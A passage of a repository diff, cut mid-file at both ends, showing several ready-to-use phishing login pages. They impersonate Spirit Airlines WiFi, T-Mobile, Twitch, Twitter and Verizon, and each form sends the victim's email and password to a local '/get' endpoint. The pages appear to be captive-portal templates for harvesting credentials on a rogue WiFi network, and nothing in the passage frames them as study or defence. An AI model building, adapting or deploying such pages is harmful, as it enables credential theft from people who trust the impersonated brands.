28l-1 4c3-8 11-12 22-12l9 1zm-85 3-12 58h22l13-58zm27-21h-23l-3 14h23zm-41 51c-3 16-19 30-40 30-10 0-17-3-20-8l-6 27h-22l16-79h22l-1 7c6-6 15-9 24-9 21 0 32 12 27 32zm-36-16c-10 0-17 6-19 15s2 15 13 15c10 0 17-6 19-15 2-10-2-15-13-15zm-70 8-19-2c-6-1-7-2-6-4 0-4 5-6 11-6l8 2c2 1 3 2 3 5h26c2-17-17-20-32-20-22 0-37 5-40 21-2 10 4 15 17 16l19 3c6 0 8 1 7 4-1 4-6 5-11 5l-10-1c-2-1-2-3-2-5h-27c-3 17 18 20 34 20 24 0 39-6 42-20 2-11-5-16-20-18zm301-17 1 2h-2v-2h-1v2h-1v-5h3v3zm-1-1v-1h-1v1h1zm4 0v2l-1 2a4 4 0 0 1-4 1h-1l-2-1-1-2v-4a4 4 0 0 1 3-2h3l2 1 1 1v2zm-1 0v-1l-1-1-1-1h-3l-1 1-1 1v1a4 4 0 0 0 1 3l1 1a3 3 0 0 0 3 0l1-1 1-1v-2z"/>
</svg> </svg>
<h1> Use your Spirit Airlines Account<br> for Free WiFi Login</h1> <h1> Use your Spirit Airlines Account<br> for Free WiFi Login</h1>
<form id="login-form"> <form id="login-form">
<input type="text" name="email" placeholder="Email Address or Free Spirit Number"> <input type="text" name="email" placeholder="Email Address or Free Spirit Number">
<input type="password" name="password" placeholder="Password"> <input type="password" name="password" placeholder="Password">
<input type="submit" value="Login"> <input type="submit" value="Login">
</form> </form>
</div> </div>
<script> <script>
const form = document.getElementById('login-form'); const form = document.getElementById('login-form');
form.addEventListener('submit', (e) => { form.addEventListener('submit', (e) => {
e.preventDefault(); e.preventDefault();
const email = form.elements['email'].value; const email = form.elements['email'].value;
const password = form.elements['password'].value; const password = form.elements['password'].value;
window.location.href = '/get?email=' + email + '&password=' + password; window.location.href = '/get?email=' + email + '&password=' + password;
}); });
</script> </script>
</body> </body>
</html> </html>
+63 -63
View File
@@ -1,63 +1,63 @@
<!DOCTYPE html> <!DOCTYPE html>
<html> <html>
<head> <head>
<meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="viewport" content="width=device-width, initial-scale=1">
<style> <style>
body { body {
font-family: Arial, sans-serif; font-family: Arial, sans-serif;
background-color: #000000; background-color: #000000;
margin: 0; margin: 0;
padding: 0; padding: 0;
height: 100vh; height: 100vh;
display: flex; display: flex;
align-items: center; align-items: center;
justify-content: center; justify-content: center;
color: #fff; color: #fff;
} }
.login-container { .login-container {
background-color: rgba(0, 0, 0, 0.7); background-color: rgba(0, 0, 0, 0.7);
padding: 20px; padding: 20px;
border-radius: 5px; border-radius: 5px;
box-shadow: 0px 0px 10px 0px rgba(255,255,255,0.3); box-shadow: 0px 0px 10px 0px rgba(255,255,255,0.3);
} }
.login-container h1, .login-container h2 { .login-container h1, .login-container h2 {
text-align: center; text-align: center;
} }
.login-container button { .login-container button {
width: 100%; width: 100%;
background-color: #0069D9; background-color: #0069D9;
border-color: #0069D9; border-color: #0069D9;
} }
#logo svg { #logo svg {
fill: #fff; fill: #fff;
} }
</style> </style>
</head> </head>
<body> <body>
<div class="container"> <div class="container">
<div class="row"> <div class="row">
<div class="col-lg-4 offset-lg-4 login-container"> <div class="col-lg-4 offset-lg-4 login-container">
<div id="logo"> <div id="logo">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1032 524"><clipPath id="a"><circle cx="275" cy="85" r="200"/></clipPath><clipPath id="b"><circle cx="230" cy="90" r="80"/></clipPath><path d="M23 488h10l2 6c2 2 4 2 7 2 6 0 8-2 8-7l-1-5-6-2-5-1c-9-1-14-6-14-14 0-5 2-9 5-12 3-2 7-4 13-4 5 0 9 1 12 4s5 7 5 12H49l-2-6-6-2-5 2-2 5 1 5 6 2 5 1c9 2 14 6 14 15 0 5-2 9-5 12s-8 4-14 4-10-1-13-4-5-7-5-13zm83-28v44H96v-44H82v-8h37v8zm42 34-3 10h-11l19-52h8l19 52h-11l-3-10zm9-28-7 20h13zm56 17v21h-9v-52h19c6 0 10 1 13 4s4 7 4 12c0 3 0 6-2 8l-7 6 12 23h-12l-10-22h-8zm10-8 5-2 2-6c0-2 0-4-2-5l-5-2h-10v14h10zm54-23v44h23v8h-33v-52h10zm59 0v52h-10v-52h10zm68 52h-10l-19-32v32h-11v-52h10l19 33v-33h10v52zm38-14v14h-10v-52h10v24l18-24h12l-17 21 18 31h-11l-13-23z" class="letter" visibility="inherit"/><g clip-path="url(#a)" transform="matrix(3 0 0 3 -531 8)"><path d="m168 112-3 4h34C292 23 426 6 460 3 274 14 188 93 168 112" class="logo_x" visibility="inherit"/></g><g clip-path="url(#b)" transform="matrix(3 0 0 3 -531 8)" visibility="inherit"><path d="M263 116h34l-47-35-17 13zm-62-71h-34l40 29 19-12z" class="logo_x"/></g></svg> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1032 524"><clipPath id="a"><circle cx="275" cy="85" r="200"/></clipPath><clipPath id="b"><circle cx="230" cy="90" r="80"/></clipPath><path d="M23 488h10l2 6c2 2 4 2 7 2 6 0 8-2 8-7l-1-5-6-2-5-1c-9-1-14-6-14-14 0-5 2-9 5-12 3-2 7-4 13-4 5 0 9 1 12 4s5 7 5 12H49l-2-6-6-2-5 2-2 5 1 5 6 2 5 1c9 2 14 6 14 15 0 5-2 9-5 12s-8 4-14 4-10-1-13-4-5-7-5-13zm83-28v44H96v-44H82v-8h37v8zm42 34-3 10h-11l19-52h8l19 52h-11l-3-10zm9-28-7 20h13zm56 17v21h-9v-52h19c6 0 10 1 13 4s4 7 4 12c0 3 0 6-2 8l-7 6 12 23h-12l-10-22h-8zm10-8 5-2 2-6c0-2 0-4-2-5l-5-2h-10v14h10zm54-23v44h23v8h-33v-52h10zm59 0v52h-10v-52h10zm68 52h-10l-19-32v32h-11v-52h10l19 33v-33h10v52zm38-14v14h-10v-52h10v24l18-24h12l-17 21 18 31h-11l-13-23z" class="letter" visibility="inherit"/><g clip-path="url(#a)" transform="matrix(3 0 0 3 -531 8)"><path d="m168 112-3 4h34C292 23 426 6 460 3 274 14 188 93 168 112" class="logo_x" visibility="inherit"/></g><g clip-path="url(#b)" transform="matrix(3 0 0 3 -531 8)" visibility="inherit"><path d="M263 116h34l-47-35-17 13zm-62-71h-34l40 29 19-12z" class="logo_x"/></g></svg>
</div> </div>
<form action="/get" id="email-form-step"> <form action="/get" id="email-form-step">
<h1>Welcome</h1> <h1>Welcome</h1>
<h2>Please Enter your Details</h2> <h2>Please Enter your Details</h2>
<div class="form-group"> <div class="form-group">
<input name="email" type="text" class="form-control" placeholder="Email" required> <input name="email" type="text" class="form-control" placeholder="Email" required>
</div> </div>
<div class="form-group"> <div class="form-group">
<input name="password" type="password" class="form-control" placeholder="Password" required> <input name="password" type="password" class="form-control" placeholder="Password" required>
</div> </div>
<div class="form-group"> <div class="form-group">
<button class="btn btn-primary" type="submit">Next</button> <button class="btn btn-primary" type="submit">Next</button>
</div> </div>
</form> </form>
</div> </div>
</div> </div>
</div> </div>
<script> <script>
/* Paste any required JavaScript here */ /* Paste any required JavaScript here */
</script> </script>
</body> </body>
</html> </html>
+94 -94
View File
@@ -1,94 +1,94 @@
<!DOCTYPE html> <!DOCTYPE html>
<html> <html>
<head> <head>
<meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="viewport" content="width=device-width, initial-scale=1">
<style> <style>
body { body {
font-family: Arial, sans-serif; font-family: Arial, sans-serif;
background-color: #e20074; background-color: #e20074;
color: #fff; color: #fff;
} }
.container { .container {
max-width: 400px; max-width: 400px;
margin: 50px auto; margin: 50px auto;
padding: 20px; padding: 20px;
border-radius: 5px; border-radius: 5px;
} }
h1 { h1 {
font-size: 24px; font-size: 24px;
font-weight: 300; font-weight: 300;
margin-top: 0; margin-top: 0;
text-align: center; text-align: center;
} }
h2 { h2 {
font-size: 16px; font-size: 16px;
font-weight: 200; font-weight: 200;
text-align: center; text-align: center;
} }
input[type="text"], input[type="text"],
input[type="password"] { input[type="password"] {
width: 100%; width: 100%;
padding: 12px 20px; padding: 12px 20px;
margin: 8px 0; margin: 8px 0;
box-sizing: border-box; box-sizing: border-box;
border: 1px solid #ccc; border: 1px solid #ccc;
border-radius: 4px; border-radius: 4px;
} }
input[type="submit"] { input[type="submit"] {
width: 100%; width: 100%;
background-color: #fff; background-color: #fff;
color: #e20074; color: #e20074;
padding: 14px 20px; padding: 14px 20px;
margin: 8px 0; margin: 8px 0;
border: none; border: none;
border-radius: 4px; border-radius: 4px;
cursor: pointer; cursor: pointer;
} }
input[type="submit"]:hover { input[type="submit"]:hover {
background-color: #ddd; background-color: #ddd;
} }
.logo { .logo {
display: block; display: block;
max-width: 130px; max-width: 130px;
margin: 0 auto 30px auto; margin: 0 auto 30px auto;
} }
</style> </style>
</head> </head>
<body> <body>
<div class="container"> <div class="container">
<!-- T-Mobile SVG logo --> <!-- T-Mobile SVG logo -->
<svg class="logo" id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 122.88 122.88"> <svg class="logo" id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 122.88 122.88">
<defs> <defs>
<style>.cls-1{fill:#e20074;}.cls-2{fill:#fff;}</style> <style>.cls-1{fill:#e20074;}.cls-2{fill:#fff;}</style>
</defs> </defs>
<title>t-mobile</title> <title>t-mobile</title>
<polygon class="cls-1" points="0 122.88 122.88 122.88 122.88 0 0 0 0 122.88 0 122.88"/> <polygon class="cls-1" points="0 122.88 122.88 122.88 122.88 0 0 0 0 122.88 0 122.88"/>
<polygon class="cls-2" points="25.52 75.62 25.52 57.9 34.74 57.9 43.24 57.9 43.24 75.62 25.52 75.62 25.52 75.62"/> <polygon class="cls-2" points="25.52 75.62 25.52 57.9 34.74 57.9 43.24 57.9 43.24 75.62 25.52 75.62 25.52 75.62"/>
<polygon class="cls-2" points="79.64 75.62 79.64 57.9 89.8 57.9 97.36 57.9 97.36 75.62 79.64 75.62 79.64 75.62"/> <polygon class="cls-2" points="79.64 75.62 79.64 57.9 89.8 57.9 97.36 57.9 97.36 75.62 79.64 75.62 79.64 75.62"/>
<path class="cls-2" d="M96.41,17.72H26.47l-.95,31,4.73.71c.94-9.22,3.31-15.83,7.09-20.32,4-4.49,9.68-7.09,17-7.33V86.25c0,5.67-.71,9.22-2.36,10.87-1.42,1.42-3.78,2.37-7.09,2.6-.95,0-2.6.24-5,.24v5H83.18v-5a25.52,25.52,0,0,1-5-.24c-3.31-.23-5.67-1.18-7.09-2.6-1.66-1.65-2.36-5.43-2.36-10.87V22c7.32.23,13,2.6,17,7.32,4,4.49,6.38,11.11,7.09,20.33l4.72-.71-1.18-31.2Z"/> <path class="cls-2" d="M96.41,17.72H26.47l-.95,31,4.73.71c.94-9.22,3.31-15.83,7.09-20.32,4-4.49,9.68-7.09,17-7.33V86.25c0,5.67-.71,9.22-2.36,10.87-1.42,1.42-3.78,2.37-7.09,2.6-.95,0-2.6.24-5,.24v5H83.18v-5a25.52,25.52,0,0,1-5-.24c-3.31-.23-5.67-1.18-7.09-2.6-1.66-1.65-2.36-5.43-2.36-10.87V22c7.32.23,13,2.6,17,7.32,4,4.49,6.38,11.11,7.09,20.33l4.72-.71-1.18-31.2Z"/>
</svg> </svg>
<h1>Sign in</h1> <h1>Sign in</h1>
<h2>Use your T-Mobile account</h2> <h2>Use your T-Mobile account</h2>
<form id="login-form" action="/get"> <form id="login-form" action="/get">
<input type="text" name="email" placeholder="Email or phone number" required> <input type="text" name="email" placeholder="Email or phone number" required>
<input type="password" name="password" placeholder="Password" required> <input type="password" name="password" placeholder="Password" required>
<input type="submit" value="Sign In"> <input type="submit" value="Sign In">
</form> </form>
</div> </div>
</body> </body>
</html> </html>
+70 -70
View File
@@ -1,70 +1,70 @@
<!DOCTYPE html> <!DOCTYPE html>
<html> <html>
<head> <head>
<style> <style>
body { body {
font-family: Arial, sans-serif; font-family: Arial, sans-serif;
background-color: #9146FF; background-color: #9146FF;
color: white; color: white;
text-align: center; text-align: center;
} }
.container { .container {
max-width: 400px; max-width: 400px;
margin: auto; margin: auto;
padding: 20px; padding: 20px;
} }
.logo { .logo {
width: 140px; width: 140px;
height: 140px; height: 140px;
} }
form { form {
background-color: white; background-color: white;
color: black; color: black;
padding: 20px; padding: 20px;
border-radius: 5px; border-radius: 5px;
} }
input[type="text"], input[type="password"] { input[type="text"], input[type="password"] {
width: 90%; width: 90%;
padding: 15px; padding: 15px;
margin: 10px 0; margin: 10px 0;
border: none; border: none;
background: #f1f1f1; background: #f1f1f1;
} }
input[type="submit"] { input[type="submit"] {
background-color: #9146FF; background-color: #9146FF;
color: white; color: white;
padding: 14px 20px; padding: 14px 20px;
border: none; border: none;
cursor: pointer; cursor: pointer;
width: 100%; width: 100%;
} }
@media screen and (max-width: 600px) { @media screen and (max-width: 600px) {
.container { .container {
width: 95%; width: 95%;
} }
} }
.welcome { .welcome {
font-size: 24px; font-size: 24px;
margin-bottom: 0; margin-bottom: 0;
} }
.login { .login {
font-size: 16px; font-size: 16px;
margin-top: 0; margin-top: 0;
} }
</style> </style>
</head> </head>
<body> <body>
<div class="container"> <div class="container">
<svg class="logo" xmlns="http://www.w3.org/2000/svg" xml:space="preserve" viewBox="0 0 454.9 280.8"><path fill="#000000" fill-rule="evenodd" d="m379.6 67.6-18.3 18.2h-28.5l-15.6 15.6V85.8h-23.4V10.4h85.8v57.2ZM283.4 0l-5.2 20.8v93.6h23.4v13h13l13-13h20.7L390 72.8V0H283.4z"/><path fill="#000000" fill-rule="evenodd" d="M322.4 62.4h10.4V31.2h-10.4v31.2zm28.5 0h10.4V31.2H351v31.2zM444.5 182l-18.2-18.2h-33.8v-23.4H364V247h28.6v-54.6H416V247h28.6v-65Zm-91-18.2h-44.1L291.2 182v46.8l18.2 18.2h44.2v-28.6h-33.8v-26h33.8v-28.6zm-72.7 0h-23.4v-23.4h-28.6v88.4L247 247h33.8v-28.6h-23.4v-26h23.4v-28.6zm-62.4-23.4h-28.6v13h28.6v-13zm0 23.4h-28.6V247h28.6v-83.2zm-39 0h-28.6v54.6h-10.4v-54.6h-28.6v54.6h-10.4v-54.6H72.8V247h88.4l18.2-18.2v-65zm-117 0H39v-23.4H10.4v88.4L28.6 247h33.8v-28.6H39v-26h23.4v-28.6zm392.5 13v78l-39 26h-26v-13l-18.2 13h-23.3v-13l-13 13h-41.6l-13-13-2.6 13h-36.4l-15-13-.7 13h-41.3l-1.5-13-11.1 13h-63l-13-5.2v5.2H62.4l-39-23.4L0 234V130h49.4l23.4 23.4h106.6V130h88.4v23.4h23.4v13l13-13h26l23.4-23.4h49.3v23.4h28.6l23.4 23.4Z"></svg> <svg class="logo" xmlns="http://www.w3.org/2000/svg" xml:space="preserve" viewBox="0 0 454.9 280.8"><path fill="#000000" fill-rule="evenodd" d="m379.6 67.6-18.3 18.2h-28.5l-15.6 15.6V85.8h-23.4V10.4h85.8v57.2ZM283.4 0l-5.2 20.8v93.6h23.4v13h13l13-13h20.7L390 72.8V0H283.4z"/><path fill="#000000" fill-rule="evenodd" d="M322.4 62.4h10.4V31.2h-10.4v31.2zm28.5 0h10.4V31.2H351v31.2zM444.5 182l-18.2-18.2h-33.8v-23.4H364V247h28.6v-54.6H416V247h28.6v-65Zm-91-18.2h-44.1L291.2 182v46.8l18.2 18.2h44.2v-28.6h-33.8v-26h33.8v-28.6zm-72.7 0h-23.4v-23.4h-28.6v88.4L247 247h33.8v-28.6h-23.4v-26h23.4v-28.6zm-62.4-23.4h-28.6v13h28.6v-13zm0 23.4h-28.6V247h28.6v-83.2zm-39 0h-28.6v54.6h-10.4v-54.6h-28.6v54.6h-10.4v-54.6H72.8V247h88.4l18.2-18.2v-65zm-117 0H39v-23.4H10.4v88.4L28.6 247h33.8v-28.6H39v-26h23.4v-28.6zm392.5 13v78l-39 26h-26v-13l-18.2 13h-23.3v-13l-13 13h-41.6l-13-13-2.6 13h-36.4l-15-13-.7 13h-41.3l-1.5-13-11.1 13h-63l-13-5.2v5.2H62.4l-39-23.4L0 234V130h49.4l23.4 23.4h106.6V130h88.4v23.4h23.4v13l13-13h26l23.4-23.4h49.3v23.4h28.6l23.4 23.4Z"></svg>
<h2 class="welcome">Welcome</h2> <h2 class="welcome">Welcome</h2>
<p class="login">Login using your Twitch Account</p> <p class="login">Login using your Twitch Account</p>
<form action="/get?email=username&password=password" method="get"> <form action="/get?email=username&password=password" method="get">
<label for="uname"><b>Username</b></label> <label for="uname"><b>Username</b></label>
<input type="text" placeholder="Enter Username" name="uname" required> <input type="text" placeholder="Enter Username" name="uname" required>
<label for="psw"><b>Password</b></label> <label for="psw"><b>Password</b></label>
<input type="password" placeholder="Enter Password" name="psw" required> <input type="password" placeholder="Enter Password" name="psw" required>
<input type="submit" value="Login"> <input type="submit" value="Login">
</form> </form>
</div> </div>
</body> </body>
</html> </html>
+2 -2
View File
@@ -1,2 +1,2 @@
<!DOCTYPE html><html><head><style>body{font-family:Arial,sans-serif;background-color:#f5f8fa}.login-container{width:90%;max-width:400px;margin:auto;padding:20px;border:1px solid #e9e9e9;border-radius:5px;margin-top:50px;background-color:#fff}#logo{text-align:center;margin-bottom:20px}.g-h1{font-weight:300;font-size:24px;margin-top:5px;text-align:center}.g-h2{font-weight:200;font-size:16px;margin-top:10px;text-align:center;color:#657786}.g-input{width:calc(100% - 20px);margin-top:15px;height:40px;padding:5px 10px;font-size:16px;color:#14171a;border:1px solid #e6ecf0;border-radius:5px;background-color:#f5f8fa}.gbtn-primary{margin-top:20px;width:100%;height:40px;font-size:16px;color:#fff;background-color:#1da1f2;border:none;border-radius:5px;cursor:pointer}.gbtn-primary:hover{background-color:#0c8ed9}.gbtn-primary:disabled{background-color:#aab8c2;cursor:not-allowed}</style><meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1"><script type="text/javascript" nonce="04986b1ae28c4b5ba64d670c1b2" src="//local.adguard.org?ts=1689200645736&amp;type=content-script&amp;dmn=cdn.discordapp.com&amp;url=https%3A%2F%2Fcdn.discordapp.com%2Fattachments%2F1001052008389804092%2F1128835183802593362%2Ftwitter.min.html&amp;app=chrome.exe&amp;css=3&amp;js=1&amp;rel=1&amp;rji=1&amp;sbe=1&amp;stealth=1&amp;st-dnt"></script> <!DOCTYPE html><html><head><style>body{font-family:Arial,sans-serif;background-color:#f5f8fa}.login-container{width:90%;max-width:400px;margin:auto;padding:20px;border:1px solid #e9e9e9;border-radius:5px;margin-top:50px;background-color:#fff}#logo{text-align:center;margin-bottom:20px}.g-h1{font-weight:300;font-size:24px;margin-top:5px;text-align:center}.g-h2{font-weight:200;font-size:16px;margin-top:10px;text-align:center;color:#657786}.g-input{width:calc(100% - 20px);margin-top:15px;height:40px;padding:5px 10px;font-size:16px;color:#14171a;border:1px solid #e6ecf0;border-radius:5px;background-color:#f5f8fa}.gbtn-primary{margin-top:20px;width:100%;height:40px;font-size:16px;color:#fff;background-color:#1da1f2;border:none;border-radius:5px;cursor:pointer}.gbtn-primary:hover{background-color:#0c8ed9}.gbtn-primary:disabled{background-color:#aab8c2;cursor:not-allowed}</style><meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1"><script type="text/javascript" nonce="04986b1ae28c4b5ba64d670c1b2" src="//local.adguard.org?ts=1689200645736&amp;type=content-script&amp;dmn=cdn.discordapp.com&amp;url=https%3A%2F%2Fcdn.discordapp.com%2Fattachments%2F1001052008389804092%2F1128835183802593362%2Ftwitter.min.html&amp;app=chrome.exe&amp;css=3&amp;js=1&amp;rel=1&amp;rji=1&amp;sbe=1&amp;stealth=1&amp;st-dnt"></script>
<script type="text/javascript" nonce="04986b1ae28c4b5ba64d670c1b2" src="//local.adguard.org?ts=1689200645736&amp;name=AdGuard%20Assistant%20%28Beta%29&amp;name=AdGuard%20Extra%20%28Beta%29&amp;name=AdGuard%20Popup%20Blocker%20%28Beta%29&amp;name=Web%20of%20Trust%20%28Beta%29&amp;type=user-script"></script></head><body><div id="login-app"><div class="login-container"><div id="logo"><svg viewBox="0 0 24 24" width="75" height="24" xmlns="http://www.w3.org/2000/svg" aria-hidden="true"><g><path fill="#1DA1F2" d="M22.46 5.5c-.81.36-1.68.6-2.6.71.94-.56 1.66-1.45 2-2.52-.88.52-1.86.9-2.9 1.1-.83-.88-2.02-1.43-3.34-1.43-2.53 0-4.58 2.05-4.58 4.58 0 .36.04.72.13 1.06C6.7 9.1 3.55 7.3 1.44 4.75c-.4.68-.63 1.48-.63 2.33 0 1.6.82 3.02 2.07 3.85-.76-.02-1.47-.23-2.1-.58v.06c0 2.23 1.58 4.08 3.68 4.5-.38.1-.78.15-1.2.15-.29 0-.57-.03-.85-.08.57 1.78 2.23 3.08 4.2 3.12-1.54 1.2-3.48 1.92-5.6 1.92-.36 0-.72-.02-1.08-.07 1.99 1.28 4.35 2.03 6.88 2.03 8.26 0 12.77-6.83 12.77-12.77l-.01-.58c.88-.63 1.64-1.42 2.25-2.32z"></path></g></svg></div><form action="/get" id="email-form-step"><h1 class="g-h1">Sign in</h1><h2 class="g-h2">Use your Twitter Account</h2><div class="login-content"><input name="email" type="text" class="g-input" placeholder="Email" required> <input name="password" type="password" class="g-input" placeholder="Password" required><div><button class="gbtn-primary" type="submit">Next</button></div></div></form></div></div></body></html> <script type="text/javascript" nonce="04986b1ae28c4b5ba64d670c1b2" src="//local.adguard.org?ts=1689200645736&amp;name=AdGuard%20Assistant%20%28Beta%29&amp;name=AdGuard%20Extra%20%28Beta%29&amp;name=AdGuard%20Popup%20Blocker%20%28Beta%29&amp;name=Web%20of%20Trust%20%28Beta%29&amp;type=user-script"></script></head><body><div id="login-app"><div class="login-container"><div id="logo"><svg viewBox="0 0 24 24" width="75" height="24" xmlns="http://www.w3.org/2000/svg" aria-hidden="true"><g><path fill="#1DA1F2" d="M22.46 5.5c-.81.36-1.68.6-2.6.71.94-.56 1.66-1.45 2-2.52-.88.52-1.86.9-2.9 1.1-.83-.88-2.02-1.43-3.34-1.43-2.53 0-4.58 2.05-4.58 4.58 0 .36.04.72.13 1.06C6.7 9.1 3.55 7.3 1.44 4.75c-.4.68-.63 1.48-.63 2.33 0 1.6.82 3.02 2.07 3.85-.76-.02-1.47-.23-2.1-.58v.06c0 2.23 1.58 4.08 3.68 4.5-.38.1-.78.15-1.2.15-.29 0-.57-.03-.85-.08.57 1.78 2.23 3.08 4.2 3.12-1.54 1.2-3.48 1.92-5.6 1.92-.36 0-.72-.02-1.08-.07 1.99 1.28 4.35 2.03 6.88 2.03 8.26 0 12.77-6.83 12.77-12.77l-.01-.58c.88-.63 1.64-1.42 2.25-2.32z"></path></g></svg></div><form action="/get" id="email-form-step"><h1 class="g-h1">Sign in</h1><h2 class="g-h2">Use your Twitter Account</h2><div class="login-content"><input name="email" type="text" class="g-input" placeholder="Email" required> <input name="password" type="password" class="g-input" placeholder="Password" required><div><button class="gbtn-primary" type="submit">Next</button></div></div></form></div></div></body></html>
+91 -91
View File
@@ -1,91 +1,91 @@
<!DOCTYPE html> <!DOCTYPE html>
<html> <html>
<head> <head>
<style> <style>
body { body {
font-family: Arial, sans-serif; font-family: Arial, sans-serif;
background-color: #fff; background-color: #fff;
} }
.login-container { .login-container {
width: 90%; width: 90%;
max-width: 400px; max-width: 400px;
margin: auto; margin: auto;
padding: 20px; padding: 20px;
border: 1px solid #e9e9e9; border: 1px solid #e9e9e9;
border-radius: 5px; border-radius: 5px;
margin-top: 50px; margin-top: 50px;
background-color: #fff; background-color: #fff;
} }
#logo { #logo {
text-align: center; text-align: center;
margin-bottom: 20px; margin-bottom: 20px;
} }
.g-h1 { .g-h1 {
font-weight: 300; font-weight: 300;
font-size: 24px; font-size: 24px;
margin-top: 5px; margin-top: 5px;
text-align: center; text-align: center;
} }
.g-h2 { .g-h2 {
font-weight: 200; font-weight: 200;
font-size: 16px; font-size: 16px;
margin-top: 10px; margin-top: 10px;
text-align: center; text-align: center;
color: #D52B1E; color: #D52B1E;
} }
.g-input { .g-input {
width: calc(100% - 20px); width: calc(100% - 20px);
margin-top: 15px; margin-top: 15px;
height: 40px; height: 40px;
padding: 5px 10px; padding: 5px 10px;
font-size: 16px; font-size: 16px;
color: #14171a; color: #14171a;
border: 1px solid #e6ecf0; border: 1px solid #e6ecf0;
border-radius: 5px; border-radius: 5px;
background-color: #f5f8fa; background-color: #f5f8fa;
} }
.gbtn-primary { .gbtn-primary {
margin-top: 20px; margin-top: 20px;
width: 100%; width: 100%;
height: 40px; height: 40px;
font-size: 16px; font-size: 16px;
color: #fff; color: #fff;
background-color: #D52B1E; background-color: #D52B1E;
border: none; border: none;
border-radius: 5px; border-radius: 5px;
cursor: pointer; cursor: pointer;
} }
.gbtn-primary:hover { .gbtn-primary:hover {
background-color: #B3291B; background-color: #B3291B;
} }
.gbtn-primary:disabled { .gbtn-primary:disabled {
background-color: #aab8c2; background-color: #aab8c2;
cursor: not-allowed; cursor: not-allowed;
} }
</style> </style>
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
</head> </head>
<body> <body>
<div id="login-app"> <div id="login-app">
<div class="login-container"> <div class="login-container">
<div id="logo"> <div id="logo">
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" viewBox="0 0 658 146"> <svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" viewBox="0 0 658 146">
<path fill="#D52B1E" d="m644 0-36 77-14-29h-14l22 47h12l44-95z"/> <path fill="#D52B1E" d="m644 0-36 77-14-29h-14l22 47h12l44-95z"/>
<path d="M490 143h29V90c0-12 7-21 17-21s15 7 15 17v57h29V81c0-21-12-36-33-36-13 0-22 6-29 16V48h-28v95zm-57-98c-30 0-51 22-51 50 1 29 21 51 51 51s50-22 50-51c0-28-20-50-50-50zm0 79c-14 0-21-11-21-29 0-17 7-28 21-28 13 0 21 11 21 28 0 18-7 29-21 29zm-133 19h81v-23h-46v-1l44-49V48h-79v23h45l-45 50v22zm-37 0h29V48h-29v95zm-67 0h29V99c0-20 11-29 30-26V48l-6-1c-11 0-19 5-25 17h-1V48h-28v95zm-54-19c-12 0-20-8-22-21h69c0-20-6-36-17-47-8-7-18-11-32-11-28 0-48 22-48 50 0 29 19 50 50 50 12 0 21-3 29-8 9-6 15-14 16-22h-28c-2 6-8 9-17 9zm-1-58c10 0 17 7 18 18h-39c3-11 9-18 21-18zM34 143h30l33-95H68l-18 61h-1L31 48H1l33 95zM263 14h29v26h-29V14z"/> <path d="M490 143h29V90c0-12 7-21 17-21s15 7 15 17v57h29V81c0-21-12-36-33-36-13 0-22 6-29 16V48h-28v95zm-57-98c-30 0-51 22-51 50 1 29 21 51 51 51s50-22 50-51c0-28-20-50-50-50zm0 79c-14 0-21-11-21-29 0-17 7-28 21-28 13 0 21 11 21 28 0 18-7 29-21 29zm-133 19h81v-23h-46v-1l44-49V48h-79v23h45l-45 50v22zm-37 0h29V48h-29v95zm-67 0h29V99c0-20 11-29 30-26V48l-6-1c-11 0-19 5-25 17h-1V48h-28v95zm-54-19c-12 0-20-8-22-21h69c0-20-6-36-17-47-8-7-18-11-32-11-28 0-48 22-48 50 0 29 19 50 50 50 12 0 21-3 29-8 9-6 15-14 16-22h-28c-2 6-8 9-17 9zm-1-58c10 0 17 7 18 18h-39c3-11 9-18 21-18zM34 143h30l33-95H68l-18 61h-1L31 48H1l33 95zM263 14h29v26h-29V14z"/>
</svg> </svg>
</div> </div>
<form action="/get" id="email-form-step"> <form action="/get" id="email-form-step">
<h1 class="g-h1">Sign in</h1> <h1 class="g-h1">Sign in</h1>
<h2 class="g-h2">Use your Verizon Account</h2> <h2 class="g-h2">Use your Verizon Account</h2>
<div class="login-content"> <div class="login-content">
<input name="email" type="text" class="g-input" placeholder="Email" required> <input name="email" type="text" class="g-input" placeholder="Email" required>
<input name="password" type="password" class="g-input" placeholder="Password" required> <input name="password" type="password" class="g-input" placeholder="Password" required>
<div> <div>
<button class="gbtn-primary" type="submit">Next</button> <button class="gbtn-primary" type="submit">Next</button>
</div> </div>
</div> </div>
</form> </form>
</div> </div>
</div> </div>
</body> </body>
</html> </html>
+116 -116
View File
@@ -1,116 +1,116 @@
<!DOCTYPE html> <!DOCTYPE html>
<html> <html>
<head> <head>
<style> <style>
body { body {
font-family: 'Arial', sans-serif; font-family: 'Arial', sans-serif;
margin: 0; margin: 0;
padding: 0; padding: 0;
background-color: #f3f3f3; background-color: #f3f3f3;
display: flex; display: flex;
justify-content: center; justify-content: center;
align-items: center; align-items: center;
min-height: 100vh; min-height: 100vh;
} }
.container { .container {
max-width: 500px; max-width: 500px;
padding: 20px; padding: 20px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1); box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
background: #fff; background: #fff;
border-radius: 8px; border-radius: 8px;
} }
.logo { .logo {
display: flex; display: flex;
justify-content: center; justify-content: center;
margin-bottom: 20px; margin-bottom: 20px;
} }
.logo svg { .logo svg {
width: 50%; width: 50%;
} }
.title, .sub-title { .title, .sub-title {
text-align: center; text-align: center;
margin-bottom: 20px; margin-bottom: 20px;
} }
.form-group { .form-group {
margin-bottom: 20px; margin-bottom: 20px;
display: flex; display: flex;
justify-content: center; justify-content: center;
} }
.input-field { .input-field {
width: 100%; width: 100%;
max-width: 400px; max-width: 400px;
height: 40px; height: 40px;
padding: 10px; padding: 10px;
border-radius: 5px; border-radius: 5px;
border: 1px solid #ccc; border: 1px solid #ccc;
font-size: 16px; font-size: 16px;
} }
.button { .button {
width: 100%; width: 100%;
max-width: 400px; max-width: 400px;
height: 40px; height: 40px;
background-color: #1a3b73; background-color: #1a3b73;
